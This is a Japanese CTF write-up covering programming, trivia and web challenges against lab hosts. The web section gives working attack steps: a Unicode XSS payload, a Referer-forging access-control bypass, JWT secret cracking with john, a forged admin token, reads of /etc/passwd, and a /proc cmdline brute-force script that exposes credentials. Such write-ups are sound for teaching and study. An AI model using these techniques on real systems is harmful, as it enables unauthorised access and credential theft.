#include<bits/stdc++.h> #define rep(i,a,b) for(int i=a;i<b;i++) #define rrep(i,a,b) for(int i=a;i>=b;i--) #define fore(i,a) for(auto &i:a) #define all(x) (x).begin(),(x).end() //#pragma GCC optimize ("-O3") using namespace std; void _main(); int main() { cin.tie(0); ios::sync_with_stdio(false); _main(); } typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60; template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; } template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; } //--------------------------------------------------------------------------------------------------- /*--------------------------------------------------------------------------------------------------- ∧_∧ ∧_∧ (´<_` ) Welcome to My Coding Space! ( ´_ゝ`) / ⌒i @hamayanhamayan / \ | | / / ̄ ̄ ̄ ̄/ | __(__ニつ/ _/ .| .|____ \/____/ (u ⊃ ---------------------------------------------------------------------------------------------------*/ void _main() { double x = 0.3; for(int i = 0; i < 9999; i++) { x = 3.99 * x * (1 - x); } printf("flag{%.7f}", x); }
動かした結果がフラグ。
[Programming] Randomness Extraction
ファイル random.dat は一様でない乱数生成器の出力ですが、一部にフラグが埋め込まれています。フォン・ノイマンランダムネスエクストラクターを適用してフラグを抽出してください。
全く初めての概念が出てきているっぽいのでまずは検索。
フォン・ノイマンランダムネスエクストラクターは
https://en.wikipedia.org/wiki/Randomness_extractor#:~:text=%5Bedit%5D-,Von%20Neumann%20extractor,-%5Bedit%5D
これのことっぽい。
ルールは簡単なので、ビット列を取り出すコードを書く。
res = '' with open('random.dat', 'rb') as fp: while True: x = fp.read(1) if len(x) < 1: break x = bin(x[0])[2:].zfill(8) for i in range(4): a = x[i * 2] b = x[i * 2 + 1] if a != b: res += x[i * 2] print(res)
これをそのままCyberChefのFrom Binaryに突っ込んでflagで検索するとフラグがあった。
[Programming] XML Confectioner
添付の sweets.xml には、多数の sweets:batch 要素が含まれています。これらの中から、下記の条件すべてを満たすものを探してください。
- 少なくとも二つの子要素 sweets:icecream が含まれる
- 子要素 sweets:icecream には icecream:amount 属性の値が 105g を下回るものがない
- 子要素 sweets:candy の candy:weight 属性の値の合計が 28.0g 以上である
- 子要素 sweets:candy の candy:shape 属性が 5 種類以上含まれる
- cookie:kind 属性が icing でありかつ cookie:radius 属性が 3.0cm 以上の子要素 sweets:cookie を少なくとも一つ含む
フラグは、条件を満たす sweets:batch 要素内において、最も cookie:radius 属性が大きな sweets:cookie 要素の内容に書かれています。
条件を満たすものをpythonで持って来る。実装を頑張る。
import xml.etree.ElementTree as ET root = ET.parse('sweets.xml').getroot() for batch in root: # 1. 少なくとも二つの子要素 sweets:icecream が含まれる icecream_count = 0 # 2. 子要素 sweets:icecream には icecream:amount 属性の値が 105g を下回るものがない icecream_amount_ok = True # 3. 子要素 sweets:candy の candy:weight 属性の値の合計が 28.0g 以上である candy_weight_sum = 0 # 4. 子要素 sweets:candy の candy:shape 属性が 5 種類以上含まれる candy_shape_set = set() # 5. cookie:kind 属性が icing でありかつ cookie:radius 属性が 3.0cm 以上の子要素 sweets:cookie を少なくとも一つ含む cookie_icing_ok_sum = 0 for sweet in batch: if 'icecream' in str(sweet): icecream_count += 1 amount = float(sweet.attrib['{http://xml.vlc-cybercontest.com/icecream}amount'][:-1]) if amount < 105: icecream_amount_ok = False elif 'candy' in str(sweet): weight = float(sweet.attrib['{http://xml.vlc-cybercontest.com/candy}weight'][:-1]) candy_weight_sum += weight candy_shape_set.add(sweet.attrib['{http://xml.vlc-cybercontest.com/candy}kind']) elif 'cookie' in str(sweet): kind = sweet.attrib['{http://xml.vlc-cybercontest.com/cookie}kind'] radius = float(sweet.attrib['{http://xml.vlc-cybercontest.com/cookie}radius'][:-2]) if kind == 'icing' and 3.0 <= radius: cookie_icing_ok_sum += 1 if 2 <= icecream_count and icecream_amount_ok and 28.0 <= candy_weight_sum and 5 <= len(candy_shape_set) and 1 <= cookie_icing_ok_sum: print(ET.tostring(batch))
動かすと以下が得られる。
<ns0:batch xmlns:ns0="http://xml.vlc-cybercontest.com/sweets" xmlns:ns1="http://xml.vlc-cybercontest.com/icecream" xmlns:ns2="http://xml.vlc-cybercontest.com/candy" xmlns:ns3="http://xml.vlc-cybercontest.com/cookie" ns0:id="0xD5E47C1C"> <ns0:icecream ns1:id="0x27515344" ns1:flavor="strawberry" ns1:amount="108.0264740g" ns1:shape="icosahedron" /> <ns0:icecream ns1:id="0x4B4E0F9" ns1:flavor="greentea" ns1:amount="107.1416541g" ns1:shape="octahedron" /> <ns0:candy ns2:id="0xF62CA60D" ns2:kind="milkcoffee" ns2:weight="3.9963739g" ns2:shape="cube" /> <ns0:candy ns2:id="0x74672670" ns2:kind="cinnamon" ns2:weight="4.1597571g" ns2:shape="sphere" /> <ns0:candy ns2:id="0xE5831900" ns2:kind="grape" ns2:weight="4.3664096g" ns2:shape="octahedron" /> <ns0:candy ns2:id="0x56A87368" ns2:kind="apples" ns2:weight="3.8150824g" ns2:shape="dodecahedron" /> <ns0:candy ns2:id="0x4F3E28B9" ns2:kind="apples" ns2:weight="3.9506568g" ns2:shape="sphere" /> <ns0:candy ns2:id="0xAE0E36DB" ns2:kind="grape" ns2:weight="4.0428614g" ns2:shape="dodecahedron" /> <ns0:candy ns2:id="0x1C21FB03" ns2:kind="tea" ns2:weight="4.0445533g" ns2:shape="icosahedron" /> <ns0:cookie ns3:id="0x6937BAA7" ns3:kind="languedechat" ns3:radius="3.1418079cm">flag{sZ8d5FbntXbL9uwP}</ns0:cookie> <ns0:cookie ns3:id="0x19A83890" ns3:kind="checker" ns3:radius="3.0552874cm">flag{QxNFv5q9gtnvaXEc}</ns0:cookie> <ns0:cookie ns3:id="0xB43E03AC" ns3:kind="icing" ns3:radius="3.1110701cm">flag{YXBbN3zpqxJy8CvA}</ns0:cookie> <ns0:cookie ns3:id="0x9F045677" ns3:kind="checker" ns3:radius="3.0090029cm">flag{28j3vnedw7BELQxU}</ns0:cookie> </ns0:batch>
フラグは、条件を満たす sweets:batch 要素内において、最も cookie:radius 属性が大きな sweets:cookie 要素の内容に書かれています。
ということで
<ns0:cookie ns3:id="0x6937BAA7" ns3:kind="languedechat" ns3:radius="3.1418079cm">flag{■■■■■■■■■}</ns0:cookie>
が答え。
[Programming] Twisted Text
添付の画像 Twisted.png は、画像の中心からの距離 r [pixel] に対して
θ = - (r ^ 2) / (250 ^ 2) [rad]
だけ回転されています(反時計回りを正とします)。逆変換を施してフラグを復元してください。
それっぽい逆変換スクリプトを書いて動かすとむっちゃ遅いが逆変換できた。
from PIL import Image import math LEN=1280 output_image_img = Image.new('RGB', (LEN,LEN), (0x00,0x00,0x00)) output_image = output_image_img.load() source_image = Image.open('Twisted.png') for y in range(400, LEN): for x in range(LEN): r = math.sqrt((LEN / 2 - x) * (LEN / 2 - x) + (LEN / 2 - y) * (LEN / 2 - y)) theta = (r * r) / (250 * 250) degree = theta * 180 / math.pi rotated_image = source_image.rotate(degree).load() output_image[x, y] = rotated_image[x, y] if (y * LEN + x) % 1000 == 0: print(y * LEN + x, LEN * LEN) output_image_img.save('flag.png') output_image_img.save('flag.png')
[Trivia] The Original Name of AES
Advanced Encryption Standard (AES) は、公募によって策定された標準暗号です。 現在採用されているアルゴリズムの候補名は何だったでしょうか?
WikipediaのAESのページに答えが書いてある。
厳密には「AES」は、選出されなかった暗号も含む、手続き期間中から使われた「新しい標準暗号」の総称であり、選出された暗号方式自体の名はRijndael(ラインダール)である。
https://ja.wikipedia.org/wiki/Advanced_Encryption_Standard#:~:text=%E5%8E%B3%E5%AF%86%E3%81%AB%E3%81%AF%E3%80%8CAES%E3%80%8D%E3%81%AF%E3%80%81%E9%81%B8%E5%87%BA%E3%81%95%E3%82%8C%E3%81%AA%E3%81%8B%E3%81%A3%E3%81%9F%E6%9A%97%E5%8F%B7%E3%82%82%E5%90%AB%E3%82%80%E3%80%81%E6%89%8B%E7%B6%9A%E3%81%8D%E6%9C%9F%E9%96%93%E4%B8%AD%E3%81%8B%E3%82%89%E4%BD%BF%E3%82%8F%E3%82%8C%E3%81%9F%E3%80%8C%E6%96%B0%E3%81%97%E3%81%84%E6%A8%99%E6%BA%96%E6%9A%97%E5%8F%B7%E3%80%8D%E3%81%AE%E7%B7%8F%E7%A7%B0%E3%81%A7%E3%81%82%E3%82%8A%E3%80%81%E9%81%B8%E5%87%BA%E3%81%95%E3%82%8C%E3%81%9F%E6%9A%97%E5%8F%B7%E6%96%B9%E5%BC%8F%E8%87%AA%E4%BD%93%E3%81%AE%E5%90%8D%E3%81%AFRijndael%EF%BC%88%E3%83%A9%E3%82%A4%E3%83%B3%E3%83%80%E3%83%BC%E3%83%AB%EF%BC%89%E3%81%A7%E3%81%82%E3%82%8B%E3%80%82
Rijndaelが答え。
[Trivia] CVE Record of Lowest Number
最も番号が若い CVE レコードのソフトウェアパッケージにおいて、脆弱性が指摘された行を含むソースファイル名は何でしょう?
最古のCVEを探すとCVE-1999-0001らしい。
NISTのCVEデータベースのDescriptionに回答に必要な情報が書いてあった。
ip_input.c in BSD-derived TCP/IP implementations allows remote attackers to cause a denial of service (crash or hang) via crafted packets.
https://nvd.nist.gov/vuln/detail/CVE-1999-0001
ip_input.cが答え。
[Trivia] MFA Factors
多要素認証に使われる本人確認のための3種類の情報の名前は何でしょう?それぞれ漢字2文字で、50音の辞書順で並べて「・」で区切ってお答えください。
知識、所有、的なあれか…?と記憶を頼りに探すと、良い感じの記事にたどり着く。
ID・パスワードなどの「知識情報」および、「所持情報」「生体情報」という認証の3要素の中から、2つ以上の異なる認証要素を用いて認証する方法。
https://www.nri.com/jp/knowledge/glossary/lst/ta/multi_factor_authentication
そう、これ。よって「所持・生体・知識」が答え。
[Web] Browsers Have Local Storage
http://10.10.10.30 にアクセスしてフラグを見つけ出し、解答してください。
接続するとNothing here, but...と言われるがタイトルにあるように
Local Storageに行くとフラグが置いてある。
[Web] Are You Introspective?
http://10.10.10.31 にアクセスしてフラグを見つけ出し、解答してください。 このサイトでは GraphQL が使用されているため、まずは endpoint を探す必要があります。
一番最後に解いた問題。
終了30分前に残すはこの問題だけとなった。
1位のst98さんとはこの時点で8点差。
かつ、この問題の点数は10点、ヒントの値段は1点だったので、1つ開けても解ければ逆転できる状況だった。
探索のネタもいよいよ尽き、時間も迫っていたので、祈りながら1つ開けてみた。
GraphQL の endpoint がどんな path で表現されるか、注意深く調べましょう。 version 管理されている可能性も考慮してください。
当たりのヒントだった。
v1を入れて探索を続けると http://10.10.10.31/graphql/v1
を見つけることができた。
graphqlのコンソールが出てくるので、構造を抜き出すいつものクエリを投げるとフラグが得られた。
query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }
[Web] Insecure
あなたは社内ポータルサイト(http://10.10.10.33)の管理者に依頼されて、profile ページが安全に保護されているかチェックすることになりました。 以下のログイン情報を用いてサイトにログインし、管理者の profile ページに記載されている秘密の情報を見つけてください。 なお、依頼の際に「管理者ページのidは0だよ」というヒントをもらっています。
ログイン情報も与えられるので、ログインしてみると、ダッシュボードが出てくる。
下に置いてあるプロフィールのリンクを押すとプロフィールが表示された。
リクエストを見返すとプロフィールのリンクを押すと/show_profile.php?id=1
に遷移し、
そこから/profile_success.php
にリダイレクトされてプロフィールが見られる。
この遷移状況から、show_profileでセッションにidを入れてprofile_successで表示しているとみられる。
試しに/show_profile.php?id=0
にアクセスしてみるが、他人のprofileを覗かないでくださいと怒られる。
仕様を色々確認していると/profile_success.php
に直に接続した場合も怒られる。
Refererを見ているみたいでReferer: http://10.10.10.33/dashboard.php
でないと弾かれるようだ。
この仕様を元に色々試すと、以下でフラグがもらえた。
1. /show_profile.php?id=0
に接続し、リダイレクトしないようにする
2. Referer: http://10.10.10.33/dashboard.php
をつけて/profile_success.php
に接続する
show_profile.phpで、id=0の検証で弾く前にセッションに閲覧IDを入れているようだ。
よって、show_profileで失敗でリダイレクトされるが無視して、profile_successに移動すると管理者のプロフィールが表示される。
[Web] Variation
http://10.10.10.32 のWebサーバーで下記形式の XSS を発生させ、フラグを入手してください。 <script>alert(1)</script>
基本的には<>
が削除される動きをする。これではXSSできない。
色々試すと以下のような気になる動きをする。
<dfdfdf<さdf -> dfdfdfさdf ℀ -> a/c ⓕⓛⓐⓖ -> flag
内部でUnicodeの変換をしているような気がする。
クエリを消すとundefinedと出てくるのでサーバはjavascriptで動いているようなので
javascript unicode normalization xss
で検索してみる。
以下のようなサイトが出てきて、そこにあった﹤script﹥alert(1)﹤/script﹥
を試すとフラグが得られた。
https://www.acceis.fr/solution-for-the-vulnerable-code-snippet-n2/
[Web] Bruteforce
http://10.10.10.34:8000 からフラグを回収して下さい。 http://10.10.10.34:5000 で動作するプログラムの内容は、ctf-web-hard.pyに記載されています。
以下のようにJWTトークンをもらって、使うサイトが与えられる。
JWTトークンをもらう $ curl -X 'POST' -H 'Content-Type: application/json' -d '{"username":"test", "password":"test"}' 'http://10.10.10.34:5000/login' JWTトークンを使う $ curl -X 'POST' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyNjUyOSwianRpIjoiZjcyYjk0ZGMtZDFkOS00ODRhLWE0MmQtMGRiODA4NDg3ZmY2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ.Wlv5yAg86-_dohKMAzHlejk2aaaMgadFZmVTDaqg1dI' 'http://10.10.10.34:5000/protected'
JWTが使われていて脆弱なポイントは見たらない。
タイトルがBruteforceであることを考慮してJWTのシークレットの総当たりを試してみると成功する。
$ john h --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 Using default input encoding: UTF-8 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 SSE2 4x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status conankun (?) 1g 0:00:00:02 DONE (2024-02-24 21:06) 0.4115g/s 783802p/s 783802c/s 783802C/s coreybear..comcompaq Use the "--show" option to display all of the cracked passwords reliably Session completed.
シークレットが得られたので以下のようにJWTを偽装する。
import jwt data = { "fresh": False, "iat": 1708826529, "jti": "f72b94dc-d1d9-484a-a42d-0db808487ff6", "type": "access", "sub": "admin" } r = jwt.encode(data, "conankun", algorithm="HS256") print(r)
これを使うと任意のファイルが得られるようになった。
$ curl -X 'POST' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyNjUyOSwianRpIjoiZjcyYjk0ZGMtZDFkOS00ODRhLWE0MmQtMGRiODA4NDg3ZmY2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIn0.QedBygGeHDcvJQ2JIHD8u9qFaCkgmQgVn31kWv4MpAg' 'http://10.10.10.34:5000/protected' -H 'Content-Type: application/json' -d '{"filepath":"/etc/passwd"}'
以上のようなリクエストで/etc/passwd
が得られる。
フラグはhttp://10.10.10.34:8000
にあるようだがログインするには認証情報が必要。
認証情報をどうにか探してくる必要がある。
さっきの任意ファイル取得を利用しよう。
/proc/{pid}/cmdline
というパスを使うと指定のpidのプロセスの呼び出しコマンドが得られる。
pidを全探索して、フラグが得られるエンドポイントの呼び出し方法を見てみよう。
import requests import time token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyNjUyOSwianRpIjoiZjcyYjk0ZGMtZDFkOS00ODRhLWE0MmQtMGRiODA4NDg3ZmY2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIn0.QedBygGeHDcvJQ2JIHD8u9qFaCkgmQgVn31kWv4MpAg' path = "/proc/self/stat" r = requests.post('http://10.10.10.34:5000/protected', headers={'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'}, json={"filepath":path}).text print(r) for pid in range(100): path = f"/proc/{pid}/cmdline" r = requests.post('http://10.10.10.34:5000/protected', headers={'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'}, json={"filepath":path}).text print(r) time.sleep(1)
すると、以下のような面白い呼び出しが得られる。
"/usr/bin/python3\u0000/var/www/ZQ4zgfia2Kfi/http_server_auth.py\u0000--username\u0000admin\u0000--password\u0000EG5f9nPCpKxk\u0000"
認証情報が見えていますね。
admin:EG5f9nPCpKxk
を使ってログインすると成功し、フラグが得られる。